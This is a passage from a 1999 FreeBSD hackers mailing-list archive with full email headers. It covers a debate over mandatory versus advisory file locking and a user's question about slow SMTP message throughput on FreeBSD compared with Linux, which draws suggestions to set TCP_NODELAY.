well-intentioned but incorrect locking code is that > it will appear to work fine, until it trips over the one code path > where it forgets to lock some file that it should have locked. And > even then, the code will "work" just fine, until multiple processes > are accessing that file at the same time. > > I think it is appropriate for an operating system to provide an option > such that *it* (the system) will enforce the locking, and not have to > trust that all code-paths in all programs will do the right thing > WRT advisory locking. Dunno about that.. if you're using advisory locking, you know to say "lock the file, then read the data, do your calculation, write it out, and unlock". This manditory locking sounds like an invitation for disaster. "I don't need to pay attention to the details because the kernel will take care of it for me." Actually, I don't really understand the paradigm. Two processes need to safely update a file, so one of them aquires a mandatory lock, and the other.. uh.. just blocks trying to open the file? How does it know it's not the first one? -- Christopher Masto Senior Network Monkey NetMonger Communications chris@netmonger.net info@netmonger.net http://www.netmonger.net Free yourself, free your machine, free the daemon -- http://www.freebsd.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 20: 5:18 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from picnic.mat.net (picnic.mat.net [206.246.122.133]) by hub.freebsd.org (Postfix) with ESMTP id 36BFB14D53; Mon, 23 Aug 1999 20:05:07 -0700 (PDT) (envelope-from chuckr@picnic.mat.net) Received: from localhost (chuckr@localhost) by picnic.mat.net (8.9.3/8.9.3) with ESMTP id WAA93054; Mon, 23 Aug 1999 22:59:11 -0400 (EDT) (envelope-from chuckr@picnic.mat.net) Date: Mon, 23 Aug 1999 22:59:10 -0400 (EDT) From: Chuck Robey To: Christopher Masto Cc: Garance A Drosihn , "Daniel C. Sobral" , Greg Lehey , Poul-Henning Kamp , Matthew Dillon , FreeBSD Hackers , FreeBSD Committers , Garrett Wollman Subject: Re: Mandatory locking? In-Reply-To: <19990823223645.A14001@netmonger.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 23 Aug 1999, Christopher Masto wrote: > > The thing about well-intentioned but incorrect locking code is that > > it will appear to work fine, until it trips over the one code path > > where it forgets to lock some file that it should have locked. And > > even then, the code will "work" just fine, until multiple processes > > are accessing that file at the same time. > > > > I think it is appropriate for an operating system to provide an option > > such that *it* (the system) will enforce the locking, and not have to > > trust that all code-paths in all programs will do the right thing > > WRT advisory locking. > > Dunno about that.. if you're using advisory locking, you know to say > "lock the file, then read the data, do your calculation, write it out, > and unlock". This manditory locking sounds like an invitation for > disaster. "I don't need to pay attention to the details because > the kernel will take care of it for me." > > Actually, I don't really understand the paradigm. Two processes need > to safely update a file, so one of them aquires a mandatory lock, and > the other.. uh.. just blocks trying to open the file? How does it > know it's not the first one? It means that if user A puts data in (and follows locking procedure correctly) then he doesn't have to worry that user B might not be following correct locking procedure, because user B is mandatorily forced to follow the procedure. There isn't any added sloppiness, just a guarantee that if one user locks a file, no other rogues can get into it while the lock exists. ---------------------------+----------------------------------------------- Chuck Robey | Interests include any kind of voice or data chuckr@picnic.mat.net | communications topic, C programming, and Unix. 213 Lakeside Drive Apt T-1 | Greenbelt, MD 20770 | picnic.mat.net: FreeBSD/i386 (301) 220-2114 | jaunt.mat.net : FreeBSD/Alpha ---------------------------+----------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 20:11:59 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from cheddar.netmonger.net (cheddar.netmonger.net [209.54.21.140]) by hub.freebsd.org (Postfix) with ESMTP id ECA2314D53; Mon, 23 Aug 1999 20:11:51 -0700 (PDT) (envelope-from chris@cheddar.netmonger.net) Received: (from chris@localhost) by cheddar.netmonger.net (8.8.8/8.8.8) id XAA16853; Mon, 23 Aug 1999 23:11:30 -0400 (EDT) Message-ID: <19990823231130.A16133@netmonger.net> Date: Mon, 23 Aug 1999 23:11:30 -0400 From: Christopher Masto To: Chuck Robey Cc: Garance A Drosihn , "Daniel C. Sobral" , Greg Lehey , Poul-Henning Kamp , Matthew Dillon , FreeBSD Hackers , FreeBSD Committers , Garrett Wollman Subject: Re: Mandatory locking? References: <19990823223645.A14001@netmonger.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.91.1i In-Reply-To: ; from Chuck Robey on Mon, Aug 23, 1999 at 10:59:10PM -0400 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, Aug 23, 1999 at 10:59:10PM -0400, Chuck Robey wrote: > > Dunno about that.. if you're using advisory locking, you know to say > > "lock the file, then read the data, do your calculation, write it out, > > and unlock". This manditory locking sounds like an invitation for > > disaster. "I don't need to pay attention to the details because > > the kernel will take care of it for me." > > > > Actually, I don't really understand the paradigm. Two processes need > > to safely update a file, so one of them aquires a mandatory lock, and > > the other.. uh.. just blocks trying to open the file? How does it > > know it's not the first one? > > It means that if user A puts data in (and follows locking procedure > correctly) then he doesn't have to worry that user B might not be > following correct locking procedure, because user B is mandatorily > forced to follow the procedure. There isn't any added sloppiness, just > a guarantee that if one user locks a file, no other rogues can get into > it while the lock exists. Bleah.. I can't count the number of times I've seen idiotic code like: open file read data close file open file for write write data close file Mandatory locking of the type above doesn't force such a thing to work. Now that I've read the rest of the thread, I see that the meaning may be that certain files are marked such that they can't be opened without locking. That seems extremely dangerous, given all the time that such a thing hasn't been around.. who knows how many scripts and programs will now be vulnerable to hanging forever.. can I lock my maildrop? My web pages? My print spool? -- Christopher Masto Senior Network Monkey NetMonger Communications chris@netmonger.net info@netmonger.net http://www.netmonger.net Free yourself, free your machine, free the daemon -- http://www.freebsd.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 20:20: 9 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from picnic.mat.net (picnic.mat.net [206.246.122.133]) by hub.freebsd.org (Postfix) with ESMTP id AE75214C23; Mon, 23 Aug 1999 20:19:29 -0700 (PDT) (envelope-from chuckr@picnic.mat.net) Received: from localhost (chuckr@localhost) by picnic.mat.net (8.9.3/8.9.3) with ESMTP id XAA93134; Mon, 23 Aug 1999 23:16:22 -0400 (EDT) (envelope-from chuckr@picnic.mat.net) Date: Mon, 23 Aug 1999 23:16:21 -0400 (EDT) From: Chuck Robey To: Christopher Masto Cc: Garance A Drosihn , "Daniel C. Sobral" , Greg Lehey , Poul-Henning Kamp , Matthew Dillon , FreeBSD Hackers , FreeBSD Committers , Garrett Wollman Subject: Re: Mandatory locking? In-Reply-To: <19990823231130.A16133@netmonger.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 23 Aug 1999, Christopher Masto wrote: > Bleah.. I can't count the number of times I've seen idiotic code like: > > open file > read data > close file > open file for write > write data > close file > > Mandatory locking of the type above doesn't force such a thing to work. What has that code you show above got to do with mandatory locking? You completely missed the explicit locking calls that you have to make, to get and release the locks. If you don't make the call, and you have madatory locking, then your process will sleep until someone else releases the lock; if you only have advisory locking, and you use the miscreant code you show, then indeed things will go awry. ---------------------------+----------------------------------------------- Chuck Robey | Interests include any kind of voice or data chuckr@picnic.mat.net | communications topic, C programming, and Unix. 213 Lakeside Drive Apt T-1 | Greenbelt, MD 20770 | picnic.mat.net: FreeBSD/i386 (301) 220-2114 | jaunt.mat.net : FreeBSD/Alpha ---------------------------+----------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 20:23:55 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (Postfix) with ESMTP id B20C2153A6; Mon, 23 Aug 1999 20:23:21 -0700 (PDT) (envelope-from grog@freebie.lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.9.1/8.9.0) with ESMTP id MAA22354; Tue, 24 Aug 1999 12:52:12 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.9.3/8.9.0) id MAA90105; Tue, 24 Aug 1999 12:52:10 +0930 (CST) Date: Tue, 24 Aug 1999 12:52:10 +0930 From: Greg Lehey To: Christopher Masto Cc: Chuck Robey , Garance A Drosihn , "Daniel C. Sobral" , Poul-Henning Kamp , Matthew Dillon , FreeBSD Hackers , FreeBSD Committers , Garrett Wollman Subject: Re: Mandatory locking? Message-ID: <19990824125210.A83273@freebie.lemis.com> References: <19990823223645.A14001@netmonger.net> <19990823231130.A16133@netmonger.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: <19990823231130.A16133@netmonger.net>; from Christopher Masto on Mon, Aug 23, 1999 at 11:11:30PM -0400 WWW-Home-Page: http://www.lemis.com/~grog X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Monday, 23 August 1999 at 23:11:30 -0400, Christopher Masto wrote: > On Mon, Aug 23, 1999 at 10:59:10PM -0400, Chuck Robey wrote: >>> Dunno about that.. if you're using advisory locking, you know to say >>> "lock the file, then read the data, do your calculation, write it out, >>> and unlock". This manditory locking sounds like an invitation for >>> disaster. "I don't need to pay attention to the details because >>> the kernel will take care of it for me." >>> >>> Actually, I don't really understand the paradigm. Two processes need >>> to safely update a file, so one of them aquires a mandatory lock, and >>> the other.. uh.. just blocks trying to open the file? How does it >>> know it's not the first one? >> >> It means that if user A puts data in (and follows locking procedure >> correctly) then he doesn't have to worry that user B might not be >> following correct locking procedure, because user B is mandatorily >> forced to follow the procedure. There isn't any added sloppiness, just >> a guarantee that if one user locks a file, no other rogues can get into >> it while the lock exists. > > Bleah.. I can't count the number of times I've seen idiotic code like: > > open file > read data > close file > open file for write > write data > close file > > Mandatory locking of the type above doesn't force such a thing to > work. I don't see a consistency problem in the code above, it's just inefficient. > Now that I've read the rest of the thread, I see that the meaning may > be that certain files are marked such that they can't be opened > without locking. No, I think you're confusing opening and locking. It's something like this: User 1 User 2 open file open file lock file read file (blocks) diddle file unlock file read completes In fact, fcntl locking is range locking, not file locking, so as long as the two users don't want to access the same part of the file. > That seems extremely dangerous, given all the time that such a thing > hasn't been around.. I've been using it for 22 years now. > who knows how many scripts and programs will now be vulnerable to > hanging forever.. Why? There is a danger, of course, that user 1 will lock the file and not unlock it. That's a badly written program, so you stop it. End of hang. Greg -- See complete headers for address, home page and phone numbers finger grog@lemis.com for PGP public key To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 20:29:37 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from cheddar.netmonger.net (cheddar.netmonger.net [209.54.21.140]) by hub.freebsd.org (Postfix) with ESMTP id 0F7F0152B1; Mon, 23 Aug 1999 20:29:30 -0700 (PDT) (envelope-from chris@cheddar.netmonger.net) Received: (from chris@localhost) by cheddar.netmonger.net (8.8.8/8.8.8) id XAA17753; Mon, 23 Aug 1999 23:27:27 -0400 (EDT) Message-ID: <19990823232726.B16133@netmonger.net> Date: Mon, 23 Aug 1999 23:27:27 -0400 From: Christopher Masto To: Chuck Robey Cc: Garance A Drosihn , "Daniel C. Sobral" , Greg Lehey , Poul-Henning Kamp , Matthew Dillon , FreeBSD Hackers , FreeBSD Committers , Garrett Wollman Subject: Re: Mandatory locking? References: <19990823231130.A16133@netmonger.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.91.1i In-Reply-To: ; from Chuck Robey on Mon, Aug 23, 1999 at 11:16:21PM -0400 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, Aug 23, 1999 at 11:16:21PM -0400, Chuck Robey wrote: > On Mon, 23 Aug 1999, Christopher Masto wrote: > > > Bleah.. I can't count the number of times I've seen idiotic code like: > > > > open file > > read data > > close file > > open file for write > > write data > > close file > > > > Mandatory locking of the type above doesn't force such a thing to work. > > What has that code you show above got to do with mandatory locking? > You completely missed the explicit locking calls that you have to make, > to get and release the locks. If you don't make the call, and you have > madatory locking, then your process will sleep until someone else > releases the lock; Exactly. You said that mandatory locking means that user A's correct use of locking means that user B doesn't have to be careful. That's not the case, since A can step in between B's read and write. A's mandatory lock doesn't help. I don't see the use for it. -- Christopher Masto Senior Network Monkey NetMonger Communications chris@netmonger.net info@netmonger.net http://www.netmonger.net Free yourself, free your machine, free the daemon -- http://www.freebsd.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 20:36:19 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from cheddar.netmonger.net (cheddar.netmonger.net [209.54.21.140]) by hub.freebsd.org (Postfix) with ESMTP id 82DCB1577F; Mon, 23 Aug 1999 20:36:09 -0700 (PDT) (envelope-from chris@cheddar.netmonger.net) Received: (from chris@localhost) by cheddar.netmonger.net (8.8.8/8.8.8) id XAA18150; Mon, 23 Aug 1999 23:34:34 -0400 (EDT) Message-ID: <19990823233434.C16133@netmonger.net> Date: Mon, 23 Aug 1999 23:34:34 -0400 From: Christopher Masto To: Greg Lehey Cc: Chuck Robey , Garance A Drosihn , "Daniel C. Sobral" , Poul-Henning Kamp , Matthew Dillon , FreeBSD Hackers , FreeBSD Committers , Garrett Wollman Subject: Re: Mandatory locking? References: <19990823223645.A14001@netmonger.net> <19990823231130.A16133@netmonger.net> <19990824125210.A83273@freebie.lemis.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.91.1i In-Reply-To: <19990824125210.A83273@freebie.lemis.com>; from Greg Lehey on Tue, Aug 24, 1999 at 12:52:10PM +0930 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, Aug 24, 1999 at 12:52:10PM +0930, Greg Lehey wrote: > No, I think you're confusing opening and locking. It's something like > this: > > User 1 User 2 > > open file open file > lock file read file (blocks) > diddle file > unlock file > read completes How about a little timing difference? User 1 User 2 open file read file open file lock file (blocks?) close file lock returns open file (blocks) diddle file unlock file scribble over User 1's changes What I'm getting at is that if User 2 has to do something special anyway, it might as well be using advisory locking. > > That seems extremely dangerous, given all the time that such a thing > > hasn't been around.. > > I've been using it for 22 years now. > > > who knows how many scripts and programs will now be vulnerable to > > hanging forever.. > > Why? There is a danger, of course, that user 1 will lock the file and > not unlock it. That's a badly written program, so you stop it. End > of hang. That's not what I meant. It hasn't been on FreeBSD, so FreeBSD is not designed to deal with it. I mentioned a couple of examples.. if I lock a bunch of files in my web space, does apache get a bunch of children stuck forever? Who knows what might get tripped up? -- Christopher Masto Senior Network Monkey NetMonger Communications chris@netmonger.net info@netmonger.net http://www.netmonger.net Free yourself, free your machine, free the daemon -- http://www.freebsd.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 20:42:40 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (Postfix) with ESMTP id CE4CB14C0B; Mon, 23 Aug 1999 20:42:19 -0700 (PDT) (envelope-from grog@freebie.lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.9.1/8.9.0) with ESMTP id NAA22496; Tue, 24 Aug 1999 13:10:51 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.9.3/8.9.0) id NAA90191; Tue, 24 Aug 1999 13:10:37 +0930 (CST) Date: Tue, 24 Aug 1999 13:10:37 +0930 From: Greg Lehey To: Christopher Masto Cc: Chuck Robey , Garance A Drosihn , "Daniel C. Sobral" , Poul-Henning Kamp , Matthew Dillon , FreeBSD Hackers , FreeBSD Committers , Garrett Wollman Subject: Re: Mandatory locking? Message-ID: <19990824131036.B83273@freebie.lemis.com> References: <19990823223645.A14001@netmonger.net> <19990823231130.A16133@netmonger.net> <19990824125210.A83273@freebie.lemis.com> <19990823233434.C16133@netmonger.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: <19990823233434.C16133@netmonger.net>; from Christopher Masto on Mon, Aug 23, 1999 at 11:34:34PM -0400 WWW-Home-Page: http://www.lemis.com/~grog X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Monday, 23 August 1999 at 23:34:34 -0400, Christopher Masto wrote: > On Tue, Aug 24, 1999 at 12:52:10PM +0930, Greg Lehey wrote: >> No, I think you're confusing opening and locking. It's something like >> this: >> >> User 1 User 2 >> >> open file open file >> lock file read file (blocks) >> diddle file >> unlock file >> read completes > > How about a little timing difference? > > User 1 User 2 > > open file > read file > open file > lock file (blocks?) > close file > lock returns open file (blocks) > diddle file > unlock file > scribble over User 1's changes That's OK. In my scenario, user 2 can't know about what user 1 is doing. Typically there'll be multiple accesses. Since you mentioned mail, let's look at it, since that's where things really *do* use (advisory) locking. When I save my mail folder, I need to ensure that sendmail doesn't choose that moment to deliver a new message; otherwise it might disappear completely. Mailers and sendmail do have an agreement of some kind. But what if I want to merge the contents of another mail folder: cat oldmail >>/var/mail/grog That works, but it's playing with fire: if sendmail is delivering a message at the same time, it won't see me, and my cat doesn't get a lock beforehand, so both an incoming message and part of my mail folder could end up getting written to the same location. With mandatory locking, it would work, transparently. > What I'm getting at is that if User 2 has to do something special > anyway, it might as well be using advisory locking. What I'm getting at is that User 2 doesn't have to do anything different. >>> who knows how many scripts and programs will now be vulnerable to >>> hanging forever.. >> >> Why? There is a danger, of course, that user 1 will lock the file and >> not unlock it. That's a badly written program, so you stop it. End >> of hang. > > That's not what I meant. It hasn't been on FreeBSD, so FreeBSD is not > designed to deal with it. Obviously. > I mentioned a couple of examples.. if I lock a bunch of files in my > web space, does apache get a bunch of children stuck forever? Only as long as you keep them locked. And yes, you shouldn't go locking files longer than you need them. > Who knows what might get tripped up? Nobody. Do you know where your next SIGSEGV is coming from? Greg -- See complete headers for address, home page and phone numbers finger grog@lemis.com for PGP public key To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 20:48: 0 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (Postfix) with ESMTP id 39F8D14FF6; Mon, 23 Aug 1999 20:45:16 -0700 (PDT) (envelope-from grog@freebie.lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.9.1/8.9.0) with ESMTP id NAA22505; Tue, 24 Aug 1999 13:14:07 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.9.3/8.9.0) id NAA90211; Tue, 24 Aug 1999 13:14:06 +0930 (CST) Date: Tue, 24 Aug 1999 13:14:06 +0930 From: Greg Lehey To: Christopher Masto Cc: Chuck Robey , Garance A Drosihn , "Daniel C. Sobral" , Poul-Henning Kamp , Matthew Dillon , FreeBSD Hackers , FreeBSD Committers , Garrett Wollman Subject: Re: Mandatory locking? Message-ID: <19990824131406.C83273@freebie.lemis.com> References: <19990823231130.A16133@netmonger.net> <19990823232726.B16133@netmonger.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: <19990823232726.B16133@netmonger.net>; from Christopher Masto on Mon, Aug 23, 1999 at 11:27:27PM -0400 WWW-Home-Page: http://www.lemis.com/~grog X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Monday, 23 August 1999 at 23:27:27 -0400, Christopher Masto wrote: > On Mon, Aug 23, 1999 at 11:16:21PM -0400, Chuck Robey wrote: >> On Mon, 23 Aug 1999, Christopher Masto wrote: >> >>> Bleah.. I can't count the number of times I've seen idiotic code like: >>> >>> open file >>> read data >>> close file >>> open file for write >>> write data >>> close file >>> >>> Mandatory locking of the type above doesn't force such a thing to work. >> >> What has that code you show above got to do with mandatory locking? >> You completely missed the explicit locking calls that you have to make, >> to get and release the locks. If you don't make the call, and you have >> madatory locking, then your process will sleep until someone else >> releases the lock; > > Exactly. You said that mandatory locking means that user A's correct > use of locking means that user B doesn't have to be careful. That's > not the case, since A can step in between B's read and write. B doesn't have to be careful about messing up A's transaction, like he doesn't need to be careful not to overwrite A's address space. If he wants his own transactions protected, he needs to do something about that. Greg -- See complete headers for address, home page and phone numbers finger grog@lemis.com for PGP public key To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 20:58:36 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from www.crb-web.com (ns1.crb-web.com [209.70.120.131]) by hub.freebsd.org (Postfix) with SMTP id 41D2714C0B for ; Mon, 23 Aug 1999 20:58:30 -0700 (PDT) (envelope-from wayne@crb.crb-web.com) Received: (qmail 32395 invoked by uid 1001); 24 Aug 1999 04:38:21 -0000 Date: Tue, 24 Aug 1999 00:38:21 -0400 (EDT) From: Wayne Cuddy Reply-To: wayne@crb-web.com To: FreeBSD Hackers List Subject: network performance vs. linux on small transfers Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I am involved in a messaging system at work in which we need to send/receive large amounts of small (one line messages) SMTP messages. We are currently using Sendmail 8.9.3 on HPUX. Our application sends messages down a FIFO to a daemon process that is reading from the FIFO. This process then connects to port 25 of the destination system and delivers the mail via SMTP. Currently the destination system is the local system so everything is done on one machine. Using HPUX we typically pass 5 messages a second. This system is a dual 180Mhz K class server so this is surprisingly low performance for this system. When testing on FreeBSD 3.1 we also got 5 messages a second. This system is a 500Mhz P3, this is also unacceptable performance. When we tested with Linux (kernel 2.2.5) we passed 15 messages a second consistently using the exact same P3 described above. Since the HPUX and FreeBSD numbers are so close I am wondering there is some performance tuning that I do not know about. Do you think the number might change if multiple hosts were used? The daemon that reads from the FIFO makes only one connection to the local Sendmail to deliver multiple messages in sequence. I REALLY want to use FreeBSD over Linux on this one and need some major help to get the performance out of FreeBSD. Much thanks in advance, Wayne Cuddy To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 21:14: 4 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.xmission.com (mail.xmission.com [198.60.22.22]) by hub.freebsd.org (Postfix) with ESMTP id 8826714D4B for ; Mon, 23 Aug 1999 21:14:01 -0700 (PDT) (envelope-from wes@softweyr.com) Received: from [204.68.178.39] (helo=softweyr.com) by mail.xmission.com with esmtp (Exim 2.12 #1) id 11J7yB-0005pG-00; Mon, 23 Aug 1999 22:14:00 -0600 Message-ID: <37C21C08.93833456@softweyr.com> Date: Mon, 23 Aug 1999 22:14:00 -0600 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.5 [en] (X11; U; FreeBSD 3.1-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: wayne@crb-web.com Cc: FreeBSD Hackers List Subject: Re: network performance vs. linux on small transfers References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Wayne Cuddy wrote: > > I am involved in a messaging system at work in which we need to send/receive > large amounts of small (one line messages) SMTP messages. We are currently using Sendmail 8.9.3 > on HPUX. > > Our application sends messages down a FIFO to a daemon process that is reading from > the FIFO. This process then connects to port 25 of the destination system and > delivers the mail via SMTP. Currently the destination system is the local > system so everything is done on one machine. > > Using HPUX we typically pass 5 messages a second. This system is a dual > 180Mhz K class server so this is surprisingly low performance for this system. > > When testing on FreeBSD 3.1 we also got 5 messages a second. This system is a > 500Mhz P3, this is also unacceptable performance. > > When we tested with Linux (kernel 2.2.5) we passed 15 messages a second > consistently using the exact same P3 described above. > > Since the HPUX and FreeBSD numbers are so close I am wondering there is some > performance tuning that I do not know about. Do you think the number might > change if multiple hosts were used? > > The daemon that reads from the FIFO makes only one connection to the local > Sendmail to deliver multiple messages in sequence. Why not just fork and exec sendmail instead? -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC http://softweyr.com/ wes@softweyr.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 21:19:25 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from implode.root.com (root.com [209.102.106.178]) by hub.freebsd.org (Postfix) with ESMTP id E9B91158C5 for ; Mon, 23 Aug 1999 21:19:20 -0700 (PDT) (envelope-from dg@implode.root.com) Received: from implode.root.com (localhost [127.0.0.1]) by implode.root.com (8.8.8/8.8.5) with ESMTP id VAA13153; Mon, 23 Aug 1999 21:17:06 -0700 (PDT) Message-Id: <199908240417.VAA13153@implode.root.com> To: wayne@crb-web.com Cc: FreeBSD Hackers List Subject: Re: network performance vs. linux on small transfers In-reply-to: Your message of "Tue, 24 Aug 1999 00:38:21 EDT." From: David Greenman Reply-To: dg@root.com Date: Mon, 23 Aug 1999 21:17:06 -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >I am involved in a messaging system at work in which we need to send/receive >large amounts of small (one line messages) SMTP messages. We are currently using Sendmail 8.9.3 >on HPUX. > >Our application sends messages down a FIFO to a daemon process that is reading from >the FIFO. This process then connects to port 25 of the destination system and >delivers the mail via SMTP. Currently the destination system is the local >system so everything is done on one machine. > >Using HPUX we typically pass 5 messages a second. This system is a dual >180Mhz K class server so this is surprisingly low performance for this system. > >When testing on FreeBSD 3.1 we also got 5 messages a second. This system is a >500Mhz P3, this is also unacceptable performance. > >When we tested with Linux (kernel 2.2.5) we passed 15 messages a second >consistently using the exact same P3 described above. > >Since the HPUX and FreeBSD numbers are so close I am wondering there is some >performance tuning that I do not know about. Do you think the number might >change if multiple hosts were used? > >The daemon that reads from the FIFO makes only one connection to the local >Sendmail to deliver multiple messages in sequence. > > >I REALLY want to use FreeBSD over Linux on this one and need some major help >to get the performance out of FreeBSD. Are you setting the TCP_NODELAY socket option on the SMTP connection? If not, then please do that and let me know if it fixes the problem or not. -DG David Greenman Co-founder/Principal Architect, The FreeBSD Project - http://www.freebsd.org Creator of high-performance Internet servers - http://www.terasolutions.com Pave the road of life with opportunities. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Aug 23 21:36:56 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from www.crb-web.com (ns1.crb-web.com [209.70.120.131]) by hub.freebsd.org (Postfix) with SMTP id DAFF214C97 for ; Mon, 23 Aug 1999 21:36:53 -0700 (PDT) (envelope-from wayne@crb.crb-web.com) Received: (qmail 32750 invoked by uid 1001); 24 Aug 1999 05:17:07 -0000 Date: Tue, 24 Aug 1999 01:17:06 -0400 (EDT) From: Wayne Cuddy Reply-To: wayne@crb-web.com Cc: FreeBSD Hackers List Subject: Re: several messages In-Reply-To: <199908240417.VAA13153@implode.root.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Thank you for your reply. At what point should I set this socket option? I am assuming right after the socket is allocated?? I will try this and post my results tomorrow night. For those wondering, I cannot just execute Sendmail directly, there are many architectural reasons for this design... Thanks again, Wayne On Tue, 24 Aug 1999, Daniel O'Connor wrote: > Date: Tue, 24 Aug 1999 13:41:37 +0930 (CST) > From: Daniel O'Connor > To: Wayne Cuddy > Cc: FreeBSD Hackers List > Subject: RE: network performance vs. linux on small transfers > > > On 24-Aug-99 Wayne Cuddy wrote: > > I REALLY want to use FreeBSD over Linux on this one and need some major help > > to get the performance out of FreeBSD. > > Tried setsockopt and TCP_NODELAY? > > >From netinet/tcp.h > #define TCP_NODELAY 0x01 /* don't delay send to coalesce packets */ > > --- > Daniel O'Connor software and network engineer > for Genesis Software - http://www.gsoft.com.au > "The nice thing about standards is that there > are so many of them to choose from." > -- Andrew Tanenbaum > On Mon, 23 Aug 1999, David Greenman wrote: > Date: Mon, 23 Aug 1999 21:17:06 -0700 > From: David Greenman > To: wayne@crb-web.com > Cc: FreeBSD Hackers List > Subject: Re: network performance vs. linux on small transfers > > >I am involved in a messaging system at work in which we need to send/receive > >large amounts of small (one line messages) SMTP messages. We are currently using Sendmail 8.9.3 > >on HPUX. > > > >Our application sends messages down a FIFO to a 